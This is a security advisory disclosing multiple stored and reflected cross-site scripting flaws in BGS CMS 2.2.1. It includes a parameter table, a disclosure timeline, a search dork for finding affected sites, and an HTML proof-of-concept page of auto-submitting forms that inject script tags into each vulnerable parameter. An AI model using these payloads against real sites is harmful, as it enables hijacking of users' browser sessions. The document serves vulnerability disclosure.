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BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities
<!--
BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities
Vendor: BGSvetionik
Product web page: http://www.bgs-cms.com
Affected version: 2.2.1
Summary: BGS CMS is powerful Content Management System used to easily publish,
manage and organize wide variety of content on the website.
Desc: BGS CMS suffers from multiple stored and reflected XSS vulnerabilities
when parsing user input to several parameters via GET and POST method (post-auth).
Attackers can exploit this weakness to execute arbitrary HTML and script code in
a user's browser session.
o=====================================================================o
| Parameter | Section | Method | Stored XSS | Reflected XSS |
|=====================================================================|
| | | | | |
| redirect | categories | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| description | ads, products | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| section | news | GET | | X |
|--------------|---------------|--------|-------------|---------------|
| name | orders, polls | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| url | banners | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| title | gallery | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| search | search | GET | | X |
o=====================================================================o
Tested on: Apache 2.2.22
PHP 5.3.10
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Vendor status:
[05.04.2012] Vulnerabilities discovered.
[05.04.2012] Initial contact with the vendor.
[10.04.2012] No response from the vendor.
[11.04.2012] Public security advisory released.
Advisory ID: ZSL-2012-5084
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5084.php
Dork: footer: "powered by BGS CMS"
05.04.2012
--><html>
<head><title>BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities</title>
</head><body bgcolor="#000000">
<script type="text/javascript">
function xss0(){document.forms["xss0"].submit();}
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
function xss6(){document.forms["xss6"].submit();}
function xss7(){document.forms["xss7"].submit();}
</script>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss0" method="POST">
<input name="name" type="hidden" value="Zero Science Lab"/>
<input name="title" type="hidden" value="XSS"/>
<input name="description" type="hidden" value="Cross Site Scripting"/>
<input name="parent_id" type="hidden" value="15"/>
<input name="redirect" type="hidden" value='"><script>alert(1);</script>'/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="categories"/>
<input name="action" type="hidden" value="edit"/>
<input name="id" type="hidden" value="29"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss1" method="POST">
<input name="title" type="hidden" value="Zero Science Lab"/>
<input name="description" type="hidden" value='"><script>alert(1);</script>'/>
<input name="disp_on_full_view" type="hidden" value="1"/>
<input name="status" type="hidden" value="1"/>
<input name="level" type="hidden" value="0"/>
<input name="type" type="hidden" value="ads"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="ads"/>
<input name="action" type="hidden" value="edit"/>
<input name="id" type="hidden" value="0"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss2" method="POST">
<input name="created" type="hidden" value="ZSL"/>
<input name="name" type="hidden" value='"><script>alert(1);</script>'/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="message" type="hidden" value="t00t"/>
<input name="status" type="hidden" value="coolio"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="orders"/>
<input name="action" type="hidden" value="edit"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss3" method="POST">
<input name="name" type="hidden" value='"><script>alert(1);</script>'/>
<input name="question" type="hidden" value="What is physics?"/>
<input name="start" type="hidden" value="10 2012"/>
<input name="end" type="hidden" value="18 2012"/>
<input name="answer_text[]" type="hidden" value="A warm summer evening."/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="polls"/>
<input name="action" type="hidden" value="edit"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss4" method="POST">
<input name="name" type="hidden" value="admin"/>
<input name="image" type="hidden" value="joxy.jpg"/>
<input name="url" type="hidden" value='"><script>alert(1);</script>'/>
<input name="max_displays" type="hidden" value="1"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="banners"/>
<input name="action" type="hidden" value="edit"/>
<input name="id" type="hidden" value="9"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss5" method="POST">
<input name="title" type="hidden" value='"><script>alert(1);</script>'/>
<input name="description" type="hidden" value="Ban"/>
<input name="folder" type="hidden" value="sexy_banner_imgx"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="gallery"/>
<input name="action" type="hidden" value="edit"/>
</form>
<form action="http://localhost/" id="xss6" method="GET">
<input name="action" type="hidden" value="search"/>
<input name="search" type="hidden" value='"><script>alert(1);</script>'/>
<input name="x" type="hidden" value="0"/>
<input name="y" type="hidden" value="0"/>
</form>
<form action="http://localhost/cms/" id="xss7" method="GET">
<input name="section" type="hidden" value='"><script>alert(1);</script>'/>
<input name="action" type="hidden" value="add_news"/>
</form>
<br/><br/>
<a href="javascript: xss0();" style="text-decoration:none">
<b><font color="red"><h3>XSS 0</h3></font></b></a><br/>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><h3>XSS 1</h3></font></b></a><br/>
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><h3>XSS 2</h3></font></b></a><br/>
<a href="javascript: xss3();" style="text-decoration:none">
<b><font color="red"><h3>XSS 3</h3></font></b></a><br/>
<a href="javascript: xss4();" style="text-decoration:none">
<b><font color="red"><h3>XSS 4</h3></font></b></a><br/>
<a href="javascript: xss5();" style="text-decoration:none">
<b><font color="red"><h3>XSS 5</h3></font></b></a><br/>
<a href="javascript: xss6();" style="text-decoration:none">
<b><font color="red"><h3>XSS 6</h3></font></b></a><br/><br/>
<a href="javascript: xss7();" style="text-decoration:none">
<b><font color="red"><h3>XSS 7</h3></font></b></a><br/><br/>
</body></html>
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11 Apr 2012 00:00Current
6.1Medium risk
Vulners AI Score6.1